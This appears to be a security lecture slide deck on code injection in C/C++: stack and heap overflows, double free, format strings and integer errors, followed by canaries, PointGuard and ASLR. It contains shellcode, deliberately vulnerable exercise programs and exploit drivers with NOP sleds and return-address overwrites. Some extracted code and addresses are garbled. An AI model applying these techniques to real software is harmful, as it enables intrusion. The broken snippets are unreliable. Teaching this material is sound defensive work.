C and C++: vulnerabilities, exploits and countermeasures

Yves Younan
Security Research Group
Research In Motion
yyounan@rim.com
Introduction

- C/C++ programs: some vulnerabilities exist which could allow code injection attacks
- Code injection attacks allow an attacker to execute foreign code with the privileges of the vulnerable program
- Major problem for programs written in C/C++
- Focus will be on:
  - Illustration of code injection attacks
  - Countermeasures for these attacks
Lecture overview

- Memory management in C/C++
- Vulnerabilities
- Countermeasures
- Conclusion
Memory management in C/C++

Memory is allocated in multiple ways in C/C++:
- Automatic (local variables in a function)
- Static (global variables)
- Dynamic (malloc or new)

Programmer is responsible for:
- Correct allocation and deallocation in the case of dynamic memory
- Appropriate use of the allocated memory
  - Bounds checks, type checks
Memory management in C/C++

- Memory management is very error prone
- Typical bugs:
  - Writing past the bounds of the allocated memory
  - Dangling pointers: pointers to deallocated memory
  - Double frees: deallocating memory twice
  - Memory leaks: never deallocating memory
- For efficiency reasons, C/C++ compilers don’t detect these bugs at run-time:
  - C standard states behavior of such programs is undefined
Process memory layout

- Arguments/Environment
- Stack
- Unused and Shared Memory
- Heap
- Static & Global Data
- Program code
Lecture overview

- Memory management in C/C++
- Vulnerabilities
  - Code injection attacks
  - Buffer overflows
  - Format string vulnerabilities
  - Integer errors
- Countermeasures
- Conclusion
Code injection attacks

➢ To exploit a vulnerability and execute a code injection attack, an attacker must:

➢ Find a bug that can allow an attacker to overwrite interesting memory locations
➢ Find such an interesting memory location
➢ Copy target code in binary form into the memory of a program
  ▪ Can be done easily, by giving it as input to the program
➢ Use the vulnerability to modify the location so that the program will execute the injected code
Interesting memory locations

- Stored code addresses: modified -> code can be executed when the program loads them into the IP
  - Return address: address where the execution must resume when a function ends
  - Global Offset Table: addresses here are used to execute dynamically loaded functions
  - Virtual function table: addresses are used to know which method to execute (dynamic binding in C++)
  - Dtors functions: called when programs exit
Interesting memory locations

- Function pointers: modified -> when called, the injected code is executed

- Data pointers: modified -> indirect pointer overwrites
  - First the pointer is made to point to an interesting location, when it is dereferenced for writing the location is overwritten

- Attackers can overwrite many locations to perform an attack
Lecture overview

- Memory management in C/C++
- Vulnerabilities
  - Code injection attacks
  - Buffer overflows
    - Stack-based buffer overflows
    - Indirect Pointer Overwriting
    - Heap-based buffer overflows and double free
    - Overflows in other segments
  - Format string vulnerabilities
  - Integer errors
- Countermeasures
Buffer overflows: impact

- Code red worm: estimated loss world-wide: $2.62 billion
- Sasser worm: shut down X-ray machines at a Swedish hospital and caused Delta Airlines to cancel several transatlantic flights
- Zotob worm: crashed the DHS’ US-VISIT program computers, causing long lines at major international airports
- All three worms used stack-based buffer overflows
- Stuxnet the worm that targeted Iran’s nuclear program used a buffer overflow as one of its vulnerabilities
Buffer overflows: numbers

- NIST national vulnerability database (jan-dec 2011):
  - 631 buffer overflow vulnerabilities
    - 16.18% of total vulnerabilities reported
    - 509 of these have a high severity rating
      - These buffer overflow vulnerabilities make up 30% of the vulnerabilities with high severity for the period
    - Of the remaining 122 vulnerabilities, 116 are marked as having medium severity
Buffer overflows: what?

- Write beyond the bounds of an array
- Overwrite information stored behind the array
- Arrays can be accessed through an index or through a pointer to the array
- Both can cause an overflow
- Java: not vulnerable because it has no pointer arithmetic and does bounds checking on array indexing
Buffer overflows: how?

- How do buffer overflows occur?
  - By using an unsafe copying function (e.g. strcpy)
  - By looping over an array using an index which may be too high
  - Through integer errors

- How can they be prevented?
  - Using copy functions which allow the programmer to specify the maximum size to copy (e.g. strncpy)
  - Checking index values
  - Better checks on integers
Buffer overflows: example

```c
void function(char *input) {
    char str[80];
    strcpy(str, input);
}

int main(int argc, char **argv) {
    function(argv[1]);
}
```
Shellcode

- Small program in machine code representation
- Injected into the address space of the process

```c
int main() {
    printf("You win\n");
    exit(0)
}

static char shellcode[] =
"\x6a\x09\x83\x04\x24\x01\x68\x77"
"\x69\x6e\x21\x68\x79\x6f\x75\x20"
"\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
"\xb2\x09\x31\xc0\xb0\x04\xcd\x80"
"\x32\xdb\xb0\x01\xcd\x80";
```
Lecture overview

- Memory management in C/C++
- Vulnerabilities
  - Code injection attacks
  - Buffer overflows
    - Stack-based buffer overflows
    - Indirect Pointer Overwriting
    - Heap-based buffer overflows and double free
    - Overflows in other segments
  - Format string vulnerabilities
  - Integer errors
- Countermeasures
Stack-based buffer overflows

- Stack is used at run time to manage the use of functions:
  - For every function call, a new record is created
    - Contains return address: where execution should resume when the function is done
    - Arguments passed to the function
    - Local variables

- If an attacker can overflow a local variable he can find interesting locations nearby
Stack-based buffer overflows

- Old unix login vulnerability

```c
int login() {
    char user[8], hash[8], pw[8];
    printf("login:");
    gets(user);
    lookup(user,hash);
    printf("password:");
    gets(pw);
    if (equal(hash, hashpw(pw))) return OK;
    else return INVALID;
}
```
Stack-based buffer overflows

```c
login:
  char user[8], hash[8], pw[8];
  printf("username: ");
  gets(user);
  lookup(user, hash);
  printf("password: ");
  gets(pw);
  if (equal(hash, hashpw(pw)))
    return OK;
  else
    return INVALID;
```

Other stack frames

- Return address login
- Saved frame pointer login
  - user
  - hash
  - pw
Stack-based buffer overflows

login:
  char user[8], hash[8], pw[8];
  printf("username: ");
  gets(user);
  lookup(user,hash);
  printf("password: ");
  gets(pw);
  if (equal(hash,hashpw(pw)))
    return OK;
  else
    return INVALID;

Other stack frames

Return address login
Saved frame pointer login
  user
hash
pw
Stack-based buffer overflows

```c
login:
  char user[8], hash[8], pw[8];
  printf("username:" );
  gets(user);  
  lookup(user,hash);
  printf("password:" );
  gets(pw);
  if (equal(hash,hashpw(pw)))
    return OK;
  else
    return INVALID;
```

Other stack frames
- Return address login
- Saved frame pointer login
  - user
  - hash
  - pw
Stack-based buffer overflows

```c
login:
  char user[8], hash[8], pw[8];
  printf("username:");
  gets(user);
  lookup(user,hash);
  printf("password:");
  gets(pw);
  if (equal(hash,hashpw(pw)))
    return OK;
  else
    return INVALID;
```

Other stack frames
- Return address login
- Saved frame pointer login
  - user
  - hash
  - pw
Stack-based buffer overflows

```
login:
  char user[8], hash[8], pw[8];
  printf("username:"),
  gets(user);
  lookup(user,hash);
  printf("password:"),
  gets(pw);
  if (equal(hash,hashpw(pw)))
    return OK;
  else
    return INVALID;
```
Stack-based buffer overflows

- Attacker can specify a password longer than 8 characters
- Will overwrite the hashed password
- Attacker enters:
  - AAAAAAAAAABBBBBBBB
  - Where BBBBBBBB = hashpw(AAAAAAAAA)
- Login to any user account without knowing the password
- Called a non-control data attack
Stack-based buffer overflows

```c
login:
  char user[8], hash[8], pw[8];
  printf("username:");
  gets(user);
  lookup(user,hash);
  printf("password:");
  gets(pw);
  if (equal(hash,hashpw(pw)))
    return OK;
  else
    return INVALID;
```

![Diagram showing stack frames and variables](image)
Stack-based buffer overflows

Stack:
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0

```
Stack:
    + Other stack frames
    + Return address f0
    + Saved frame pointer f0
    + Local variables f0

f0:
    ... 
    call f1
    ... 

f1:
    buffer[]
    overflow()
    ...
```
Stack-based buffer overflows

Stack

Other stack frames
Return address f0
Saved frame pointer f0
Local variables f0
Arguments f1

f0:
... call f1 ...

f1:
buffer[]
overflow() ...

IP
FP
SP
Stack-based buffer overflows

f0:
...  
call f1  
...

f1:  
buffer[]  
overflow()  
...

Stack

Other stack frames
Return address f0
Saved frame pointer f0
Local variables f0
Arguments f1
Return address f1
Saved frame pointer f1
Buffer
Stack-based buffer overflows

f0:
...  
call f1  
...  

f1:
  buffer[]  
overflow()  
...  

Stack:
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
- Arguments f1
- Overwritten return address
- Injected code
Stack-based buffer overflows

```c
f0:
    ...
    call f1
    ...

f1:
    buffer[]
    overflow()
    ...
```

Stack:
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
- Injected code

SP

IP
Stack-based buffer overflows

行政部门

Exercises

From Gera’s insecure programming page


For the following programs:

- Assume Linux on Intel 32-bit
- Draw the stack layout right after gets() has executed
- Give the input which will make the program print out “you win!”
Stack-based buffer overflows

```c
int main() {
    int cookie;
    char buf[80];

    printf("b: %x c: %x\n", &buf, &cookie);
    gets(buf);

    if (cookie == 0x41424344)
        printf("you win!\n");
}
```
Stack-based buffer overflows

```
main:
  cookie
  buf[80]
  printf()
  gets()
  ...
```

![Diagram of stack with return address, frame pointer, cookie, and buffer]

**Return address**
**Frame pointer**
**cookie**
**buf**
Stack-based buffer overflows

```c
main:
  cookie
  buf[80]
  printf()
  gets()
  ...
```

Perl command:

```
perl -e 'print "A"x80; print "DCBA"' | ./s1
```
Stack-based buffer overflows

```c
int main() {
    int cookie;
    char buf[80];

    printf("b: %x c: %x\n", &buf, &cookie);
    gets(buf);
}
```

buf is at location 0xbfffffce4 in memory
Stack-based buffer overflows

main:
  cookie
  buf[80]
  printf()
  gets()
  ...

Stack

- Return address
- Frame pointer
- cookie
- buf
Stack-based buffer overflows

#define RET 0xbffefce4

int main() {
    char buf[93];
    int ret;
    memset(buf, '\x90', 92);
    memcpy(buf, shellcode, strlen(shellcode));
    *(long *)&buf[88] = RET;
    buf[92] = 0;
    printf(buf);
}
Stack-based buffer overflows

```
main:
  cookie
  buf[80]
  printf()
  gets()
  ...
```

Stack

```
FP
0xbffffce4
0x90909090
0x90909090
Injected code
```

Monday, February 13, 2012
Finding inserted code

- Generally (on kernels < 2.6) the stack will start at a static address
- Finding shell code means running the program with a fixed set of arguments/fixed environment
- This will result in the same address
- Not very precise, small change can result in different location of code
- Not mandatory to put shellcode in buffer used to overflow
- Pass as environment variable
Controlling the environment

Passing shellcode as environment variable:

Stack start - 4 null bytes
- strlen(program name) -
- null byte (program name)
- strlen(shellcode)

0xBFFFFFFFFF - 4
- strlen(program name) -
- 1
- strlen(shellcode)
Lecture overview

- Memory management in C/C++
- Vulnerabilities
  - Code injection attacks
  - Buffer overflows
    - Stack-based buffer overflows
    - Indirect Pointer Overwriting
    - Heap-based buffer overflows and double free
    - Overflows in other segments
  - Format string vulnerabilities
  - Integer errors
Indirect Pointer Overwriting

- Overwrite a target memory location by overwriting a data pointer
  - An attacker makes the data pointer point to the target location
  - When the pointer is dereferenced for writing, the target location is overwritten
  - If the attacker can specify the value of to write, he can overwrite arbitrary memory locations with arbitrary values
Indirect Pointer Overwriting

```
f0:
    ...  
call f1
    ...

f1:
    ptr = &data;
    buffer[]
    overflow();
    *ptr = value;
    ...

data
```
Indirect Pointer Overwriting

f0:
... call f1 ...

f1:
ptr = &data;
buffer[] overflow();
*ptr = value;
...

data

Stack

Other stack frames
Return address f0
Saved frame pointer f0
Local variables f0
Arguments f1
Return address f1
Saved frame pointer f1
Pointer
Buffer
Indirect Pointer Overwriting

f0:
... 
call f1
...

f1:
ptr = &data;
buffer[]
overflow();
*ptr = value;
...

data

Stack
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
- Arguments f1
- Return address f1
- Saved frame pointer f1
- Overwritten pointer
- Injected code
Indirect Pointer Overwriting

```
f0: ...
call f1 ...
```

```
f1: 
    ptr = &data;
    buffer[] overflow();
    *ptr = value;
    ...
```

Stack
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
- Arguments f1
- Modified return address
- Saved frame pointer f1
- Overwritten pointer
- Injected code
Indirect Pointer Overwriting

```
f0:
    ...  
call f1  
    ...

f1:
    ptr = &data;
    buffer[]
    overflow();
    *ptr = value;
    ...
```

Stack

- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
- Injected code
Indirect Pointer Overwriting

```c
static unsigned int a = 0;

int main(int argc, char **argv) {
    int *b = &a;
    char buf[80];

    printf("buf: %08x\n", &buf);
    gets(buf);

    *b = strtoul(argv[1], 0, 16);
}

buf is at 0xbfffff9e4
```
Indirect Pointer Overwriting

main:
  b = &a;
  buf[80]
  gets();
  *b = argv[1];
  ...

Stack

Return address
Saved frame pointer
  b
  buf

IP
FP
SP
Indirect Pointer Overwriting

#define RET 0xbfffff9e4+88

int main() {
    char buf[84];
    int ret;
    memset(buf, '\x90', 84);
    memcpy(buf, shellcode, strlen(shellcode));
    *(long *)&buffer[80] = RET;
    printf(buffer);
}

./exploit | ./s3 bfffff9e4
Indirect Pointer Overwriting

```c
main:
    b = &a;
    buf[80]
    gets();
    *b = argv[1];
...  
```

Stack:
- Return address
- Saved frame pointer
- b
- buf

Diagram:
- IP
- FP
- SP
- Stack structure
- Main function call graph
Indirect Pointer Overwriting

main:
    b = &a;
    buf[80]
    gets();
    *b = argv[1];
    ...

Stack

- Return address
- Saved frame pointer
- b
- buf

IP

FP

SP
Lecture overview

- Memory management in C/C++
- Vulnerabilities
  - Code injection attacks
  - Buffer overflows
    - Stack-based buffer overflows
    - Indirect Pointer Overwriting
    - Heap-based buffer overflows and double free
    - Overflows in other segments
  - Format string vulnerabilities
  - Integer errors
Heap-based buffer overflows

- Heap contains dynamically allocated memory
  - Managed via malloc() and free() functions of the memory allocation library
  - A part of heap memory that has been processed by malloc is called a chunk
  - No return addresses: attackers must overwrite data pointers or function pointers

- Most memory allocators save their memory management information in-band
- Overflows can overwrite management information
Heap management in dlmalloc

Used chunk

<table>
<thead>
<tr>
<th>Chunk1</th>
<th>Size of prev. chunk</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Size of chunk1</td>
</tr>
<tr>
<td></td>
<td>User data</td>
</tr>
</tbody>
</table>
Heap management in dlmalloc

Free chunk: doubly linked list of free chunks

<table>
<thead>
<tr>
<th>Chunk1</th>
</tr>
</thead>
<tbody>
<tr>
<td>Size of prev. chunk</td>
</tr>
<tr>
<td>Size of chunk1</td>
</tr>
<tr>
<td>Forward pointer</td>
</tr>
<tr>
<td>Backward pointer</td>
</tr>
<tr>
<td>Old user data</td>
</tr>
</tbody>
</table>
Heap management in dlmalloc

- Removing a chunk from the doubly linked list of free chunks:

```c
#define unlink(P, BK, FD) {
    BK = P->bk;
    FD = P->fd;
    FD->bk = BK;
    BK->fd = FD;
}
```

- This is:

```c
P->fd->bk = P->bk
P->bk->fd = P->fd
```
Heap management in dlmalloc

- Chunk1
  - Size of prev. chunk
  - Size of chunk1
  - Forward pointer
  - Backward pointer
  - Old user data

- Chunk2
  - Size of prev. chunk
  - Size of chunk2
  - Forward pointer
  - Backward pointer
  - Old user data

- Chunk3
  - Size of prev. chunk
  - Size of chunk3
  - Forward pointer
  - Backward pointer
  - Old user data
Heap management in dlmalloc

- Chunk1
  - Size of prev. chunk
  - Size of chunk1
  - Forward pointer
  - Backward pointer
  - Old user data

- Chunk2
  - Size of prev. chunk
  - Size of chunk2
  - Forward pointer
  - Backward pointer
  - Old user data

- Chunk3
  - Size of prev. chunk
  - Size of chunk3
  - Forward pointer
  - Backward pointer
  - Old user data
Heap management in dlmalloc

Chunk1
- Size of prev. chunk
- Size of chunk1
- Forward pointer
- Backward pointer
- Old user data

Chunk2
- Size of prev. chunk
- Size of chunk2
- Forward pointer
- Backward pointer
- Old user data

Chunk3
- Size of prev. chunk
- Size of chunk3
- Forward pointer
- Backward pointer
- Old user data
Heap management in dlmalloc

- Chunk1
  - Size of prev. chunk
  - Size of chunk1
  - Forward pointer
  - Backward pointer
  - Old user data

- Chunk2
  - Size of prev. chunk
  - Size of chunk2
  - Forward pointer
  - Backward pointer
  - Old user data

- Chunk3
  - Size of prev. chunk
  - Size of chunk3
  - Forward pointer
  - Backward pointer
  - Old user data
Heap-based buffer overflows

<table>
<thead>
<tr>
<th>Chunk1</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Size of prev. chunk</td>
</tr>
<tr>
<td></td>
<td>Size of chunk1</td>
</tr>
<tr>
<td></td>
<td>User data</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Chunk2</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Size of chunk1</td>
</tr>
<tr>
<td></td>
<td>Size of chunk2</td>
</tr>
<tr>
<td></td>
<td>Forward pointer</td>
</tr>
<tr>
<td></td>
<td>Backward pointer</td>
</tr>
<tr>
<td></td>
<td>Old user data</td>
</tr>
</tbody>
</table>
Heap-based buffer overflows

- **Chunk1**
  - Size of prev. chunk
  - Size of chunk1
  - Injected code

- **Chunk2**
  - Size of chunk1
  - Size of chunk2
  - fwd: pointer to target
  - bck: pointer to inj. code
  - Old user data

- Return address
- Call f1
  - ...
Heap-based buffer overflows

After unlink

- Chunk1
  - Size of prev. chunk
  - Size of chunk1
  - Injected code

- Chunk2
  - Size of chunk1
  - Size of chunk2
  - fwd: pointer to target
  - bck: pointer to inj. code
  - Old user data

- Overwritten return address

- call f1
  - ...

Monday, February 13, 2012
Dangling pointer references

- Pointers to memory that is no longer allocated
- Dereferencing is unchecked in C
- Generally leads to crashes
- Can be used for code injection attacks when memory is deallocated twice (double free)
- Double frees can be used to change the memory management information of a chunk
Double free

Chunk2
- Size of prev. chunk
- Size of chunk2
- Forward pointer
- Backward pointer
- Old user data

Chunk3
- Size of prev. chunk
- Size of chunk3
- Forward pointer
- Backward pointer
- Old user data
Double free

**Diagram:**
- **Chunk2**:
  - Size of prev. chunk
  - Size of chunk2
  - Forward pointer
  - Backward pointer
  - Old user data

- **Chunk3**:
  - Size of prev. chunk
  - Size of chunk3
  - Forward pointer
  - Backward pointer
  - Old user data
Double free

- Chunk2
  - Size of prev. chunk
  - Size of chunk2
  - Forward pointer
  - Backward pointer
  - Old user data

- Chunk2
  - Size of prev. chunk
  - Size of chunk2
  - Forward pointer
  - Backward pointer
  - Old user data

- Chunk3
  - Size of prev. chunk
  - Size of chunk3
  - Forward pointer
  - Backward pointer
  - Old user data
Double free

Chain1


<table>
<thead>
<tr>
<th>Chunk2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Size of prev. chunk</td>
</tr>
<tr>
<td>Size of chunk2</td>
</tr>
<tr>
<td>Forward pointer</td>
</tr>
<tr>
<td>Backward pointer</td>
</tr>
<tr>
<td>Old user data</td>
</tr>
</tbody>
</table>

Chain2

<table>
<thead>
<tr>
<th>Chunk3</th>
</tr>
</thead>
<tbody>
<tr>
<td>Size of prev. chunk</td>
</tr>
<tr>
<td>Size of chunk3</td>
</tr>
<tr>
<td>Forward pointer</td>
</tr>
<tr>
<td>Backward pointer</td>
</tr>
<tr>
<td>Old user data</td>
</tr>
</tbody>
</table>
Double free

- Unlink: chunk stays linked because it points to itself

![Diagram showing a chunk with pointers and data]

- Chunk2
- Size of prev. chunk
- Size of chunk2
- Forward pointer
- Backward pointer
- Old user data
Double free

- If unlinked to reallocate: attackers can now write to the user data part

![Diagram of Chunk2 with fields: Size of prev. chunk, Size of chunk2, Forward pointer, Backward pointer, Old user data]
Double free

- It is still linked in the list too, so it can be unlinked again

Diagram:

- Chunk2
  - Size of prev. chunk
  - Size of chunk2
  - Forward pointer
  - Backward pointer
  - Injected code

- Return address
  - call f1
  - ...

Yves Younan  C and C++: vulnerabilities, exploits and countermeasures  March, 2012  74 / 149
Double free

➢ After second unlink

```
Chunk2
  Size of prev. chunk
  Size of chunk2
  Forward pointer
  Backward pointer
  Injected code
```

Overwritten return address

```call f1 ...
```
Lecture overview

- Memory management in C/C++
- Vulnerabilities
  - Code injection attacks
  - Buffer overflows
    - Stack-based buffer overflows
    - Indirect Pointer Overwriting
    - Heap-based buffer overflows and double free
    - Overflows in other segments
  - Format string vulnerabilities
  - Integer errors
Overflows in the data/bss

- Data segment contains global or static compile-time initialized data
- Bss contains global or static uninitialized data
- Overflows in these segments can overwrite:
  - Function and data pointers stored in the same segment
  - Data in other segments
Overflows in the data/bss

- ctors: pointers to functions to execute at program start
- dtors: pointers to functions to execute at program finish
- GOT: global offset table: used for dynamic linking: pointers to absolute addresses

<table>
<thead>
<tr>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ctors</td>
</tr>
<tr>
<td>Dtors</td>
</tr>
<tr>
<td>GOT</td>
</tr>
<tr>
<td>BSS</td>
</tr>
<tr>
<td>Heap</td>
</tr>
</tbody>
</table>
Overflow in the data segment

```
char buf[256]={1};

int main(int argc, char **argv) {
    strcpy(buf, argv[1]);
}
```
Overflow in the data segment

<table>
<thead>
<tr>
<th>Segment</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data</td>
<td>buf[256]</td>
</tr>
<tr>
<td>Ctors</td>
<td></td>
</tr>
<tr>
<td>Dtors</td>
<td>0x0000000000</td>
</tr>
<tr>
<td>GOT</td>
<td></td>
</tr>
<tr>
<td>BSS</td>
<td></td>
</tr>
</tbody>
</table>
Overflow in the data section

```c
int main (int argc, char **argv) {
    char buffer[476];
    char *execargv[3] = { "./abo7", buffer, NULL };
    char *env[2] = { shellcode, NULL };
    int ret;
    ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
    memset(buffer, '\x90', 476);
    *(long *)&buffer[472] = ret;
    execve(execargv[0],execargv,env);
}
```
Overflow in the data segment

- Data: buf[256]
- Ctors
- Dtors: RET
- GOT
- BSS
Lecture overview

- Memory management in C/C++
- Vulnerabilities
  - Code injection attacks
  - Buffer overflows
  - Format string vulnerabilities
  - Integer errors
- Countermeasures
- Conclusion
Format string vulnerabilities

- Format strings are used to specify formatting of output:
  - `printf("%d is %s\n", integer, string);` -> "5 is five"
- Variable number of arguments
- Expects arguments on the stack
- Problem when attack controls the format string:
  - `printf(input);`
  - should be `printf("%s", input);`
Format string vulnerabilities

- Can be used to read arbitrary values from the stack
  - "%s %x %x"
- Will read 1 string and 2 integers from the stack
Format string vulnerabilities

- Can be used to read arbitrary values from the stack
  - “%s %x %x”
  - Will read 1 string and 2 integers from the stack
Format string vulnerabilities

- Format strings can also write data:
  - `%n` will write the amount of (normally) printed characters to a pointer to an integer
  - “%200x%n” will write 200 to an integer
- Using `%n`, an attacker can overwrite arbitrary memory locations:
  - The pointer to the target location can be placed somewhere on the stack
  - Pop locations with “%x” until the location is reached
  - Write to the location with “%n”
Lecture overview

- Memory management in C/C++
- Vulnerabilities
  - Code injection attacks
  - Buffer overflows
  - Format string vulnerabilities
- Integer errors
  - Integer overflows
  - Integer signedness errors
- Countermeasures
- Conclusion
Integer overflows

- For an unsigned 32-bit integer, $2^{32}-1$ is the largest value it can contain.
- Adding 1 to this, will wrap around to 0.
- Can cause buffer overflows.

```c
int main(int argc, char **argv){
    unsigned int a;
    char *buf;
    a = atol(argv[1]);
    buf = (char*) malloc(a+1);
}
```

- `malloc(0)` - result is implementation defined: either NULL is returned or malloc will allocate the smallest possible chunk: in Linux: 8 bytes.
Lecture overview

- Memory management in C/C++
- Vulnerabilities
  - Code injection attacks
  - Buffer overflows
  - Format string vulnerabilities
  - Integer errors
    - Integer overflows
    - Integer signedness errors
- Countermeasures
- Conclusion
Integer signedness errors

- Value interpreted as both signed and unsigned
  
  ```c
  int main(int argc, char **argv) {
      int a;
      char buf[100];
      a = atol(argv[1]);
      if (a < 100)
          strncpy(buf, argv[2], a);
  }
  ```

- For a negative a:
  - In the condition, a is smaller than 100
  - `strncpy` expects an unsigned integer: a is now a large positive number
Lecture overview

- Memory management in C/C++
- Vulnerabilities
- Countermeasures
  - Safe languages
  - Probabilistic countermeasures
  - Separation and replication countermeasures
  - Paging-based countermeasures
  - Bounds checkers
  - Verification countermeasures
- Conclusion
Safe languages

- Change the language so that correctness can be ensured
  - Static analysis to prove safety
  - If it can’t be proven safe statically, add runtime checks to ensure safety (e.g. array unsafe statically -> add bounds checking)
  - Type safety: casts of pointers are limited
  - Less programmer pointer control
Safe languages

- Runtime type-information
- Memory management: no explicit management
  - Garbage collection: automatic scheduled deallocation
  - Region-based memory management: deallocate regions as a whole, pointers can only be dereferenced if region is live
- Focus on languages that stay close to C
Safe languages

➤ Cyclone: Jim et al.

➤ Pointers:
  ▪ NULL check before dereference of pointers (*ptr)
  ▪ New type of pointer: never-NULL (@ptr)
  ▪ No arithmetic on normal (*) & never-NULL (@) pointers
  ▪ Arithmetic allowed on special pointer type (?ptr): contains extra bounds information for bounds check
  ▪ Uninitialized pointers can’t be used

➤ Region-based memory management

➤ Tagged unions: functions can determine type of arguments: prevents format string vulnerabilities
Safe languages

➢ CCured: Necula et al.
  ➢ Stays as close to C as possible
  ➢ Programmer has less control over pointers: static analysis determines pointer type
    ▪ Safe: no casts or arithmetic; only needs NULL check
    ▪ Sequenced: only arithmetic; NULL and bounds check
    ▪ Dynamic: type can’t be determined statically; NULL, bounds and run-time type check
  ➢ Garbage collection: free() is ignored
Lecture overview

- Memory management in C/C++
- Vulnerabilities
- Countermeasures
  - Safe languages
  - Probabilistic countermeasures
  - Separation and replication countermeasures
  - Paging-based countermeasures
  - Bounds checkers
  - Verification countermeasures
- Conclusion
Probabilistic countermeasures

- Based on randomness
- Canary-based approach
  - Place random number in memory
  - Check random number before performing action
  - If random number changed an overflow has occurred
- Obfuscation of memory addresses
- Address Space Layout Randomization
- Instruction Set Randomization
Canary-based countermeasures

- StackGuard (SG): Cowan et al.
  - Places random number before the return address when entering function
  - Verifies that the random number is unchanged when returning from the function
  - If changed, an overflow has occurred, terminate program
StackGuard (SG)

Stack
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Canary
- Local variables f0
- Arguments f1
- Return address f1
- Saved frame pointer f1
- Canary
- Pointer
- Buffer

f0:
  ...
  call f1
  ...

f1:
  ptr = &data;
  buffer[]
  overflow();
  *ptr = value;
  ...

data

IP
FP
SP
StackGuard (SG)

Stack

- Other stack frames
- Return address f0
- Saved frame pointer f0
  - Canary
- Local variables f0
- Arguments f1
  - Return address f1
  - Saved frame pointer f1
  - Canary
  - Pointer
  - Injected code

f0:
  ...
  call f1
  ...

f1:
  ptr = &data;
  buffer[]
  overflow();
  *ptr = value;
  ...

data

FP

IP

SP
Canary-based countermeasures

- Propolice (PP): Etoh & Yoda
  - Same principle as StackGuard
  - Protects against indirect pointer overwriting by reorganizing the stack frame:
    - All arrays are stored before all other data on the stack (i.e. right next to the random value)
    - Overflows will cause arrays to overwrite other arrays or the random value

- Part of GCC >= 4.1

- ‘Stack Cookies in Visual Studio
Propolice (PP)

```
f0:
  ...
  call f1
  ...

f1:
  ptr = &data;
  buffer[]
  overflow();
  *ptr = value;
  ...
```

Stack
- Other stack frames
- Return address f0
- Saved frame pointer f0
  - Canary
- Local variables f0
- Arguments f1
- Return address f1
- Saved frame pointer f1
  - Canary
- Buffer
- Pointer
Propolice (PP)

Stack
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Canary
- Local variables f0
- Arguments f1
  - Return address f1
  - Saved frame pointer f1
  - Canary
  - Buffer
  - Pointer

f0:
... call f1 ...

f1:
ptr = &data;
buffer[]
overflow();
*ptr = value;
...

data

IP

FP

SP
Heap protector (HP)

- Heap protector: Robertson et al.
- Adds checksum to the chunk information
- Checksum is XORed with a global random value
- On allocation checksum is added
- On free (or other operations) checksum is calculated, XORed, and compared
### Contrapolice (CP)

<table>
<thead>
<tr>
<th>Chunk1</th>
<th>Canary1</th>
</tr>
</thead>
<tbody>
<tr>
<td>Size of prev. chunk</td>
<td></td>
</tr>
<tr>
<td>Size of chunk1</td>
<td></td>
</tr>
<tr>
<td>User data</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Chunk2</th>
<th>Canary1</th>
</tr>
</thead>
<tbody>
<tr>
<td>Canary2</td>
<td></td>
</tr>
<tr>
<td>Size of chunk1</td>
<td></td>
</tr>
<tr>
<td>Size of chunk2</td>
<td></td>
</tr>
<tr>
<td>Forward pointer</td>
<td></td>
</tr>
<tr>
<td>Backward pointer</td>
<td></td>
</tr>
<tr>
<td>Old user data</td>
<td></td>
</tr>
</tbody>
</table>

- **Contrapolice: Krennmair**
  - Stores a random value before and after the chunk
  - Before exiting from a string copy operation, the random value before is compared to the random value after
  - If they are not the same, an overflow has occurred
Problems with canaries

- Random value can leak
- For SG: Indirect Pointer Overwriting
- For PP: overflow from one array to the other (e.g. array of char overwrites array of pointer)
- For HP, SG, PP: 1 global random value
- CP: different random number per chunk
- CP: no protection against overflow in loops
Probabilistic countermeasures

- Obfuscation of memory addresses
  - Also based on random numbers
  - Numbers used to ‘encrypt’ memory locations
  - Usually XOR
    - \( a \oplus b = c \)
    - \( c \oplus b = a \)
Obfuscation of memory addresses

➢ PointGuard: Cowan et al.
  ➢ Protects all pointers by encrypting them (XOR) with a random value
  ➢ Decryption key is stored in a register
  ➢ Pointer is decrypted when loaded into a register
  ➢ Pointer is encrypted when loaded into memory
  ➢ Forces the compiler to do all memory access via registers
  ➢ Can be bypassed if the key or a pointer leaks
  ➢ Randomness can be lowered by using a partial overwrite
Partial overwrite

XOR:

\[ \text{0x41424344 XOR 0x20304050 = 0x61720314} \]
However, XOR ‘encrypts’ bitwise
\[ \text{0x44 XOR 0x50 = 0x14} \]
If injected code relatively close:
1 byte: 256 possibilities
2 bytes: 65536 possibilities
Partial overwrite

f0:
  ...
call f1
  ...

f1:
  ptr = &data;
  buffer[]
  overflow();
  *ptr = value;
  ...

Stack:

- Other stack frames
- Return address f0
- Saved frame pointer f0
- Data
- Other Local variables f0
- Arguments f1
- Return address f1
- Saved frame pointer f1
- Encrypted pointer
- Buffer

IP
FP
SP
Partial overwrite

```
f0:
    ...
    call f1
    ...
```

```
f1:
    ptr = &data;
    buffer[]
    overflow();
    *ptr = value;
    ...
```
Partial overwrite

Stack
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Data
- Other Local variables f0
- Arguments f1
- Modified return address
- Saved frame pointer f1
- Encrypted pointer
- Injected code

Code:

f0:
...  
call f1  
...

f1:
ptr = &data;
buffer[]
overflow();
*ptr = value;
...
Probabilistic countermeasures

- Address space layout randomization: PaX team
  - Compiler must generate PIC
  - Randomizes the base addresses of the stack, heap, code and shared memory segments
